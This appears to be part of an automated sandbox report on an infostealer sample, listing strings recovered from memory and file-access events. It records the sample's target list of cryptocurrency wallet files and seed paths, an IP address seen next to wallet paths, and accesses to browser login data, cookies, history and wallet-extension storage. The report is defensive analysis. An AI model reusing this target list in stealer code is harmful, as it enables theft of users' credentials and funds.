Source: file.exe, 00000000.00000002.2541025259.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2539790734.0000000000FF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2541025259.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2541025259.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Exodus\\window-state.json*
Source: 0f2c5625b4.exe, 00000018.00000003.2870027262.000000000153E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000002.2539790734.0000000000FF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2541025259.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Coinomi\Coinomi\wallets\\.\
Source: file.exe, 00000000.00000002.2539790734.0000000000FF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2539790734.0000000000FF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2539790734.0000000000FF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2541025259.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.
Source: file.exe, 00000000.00000002.2541025259.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
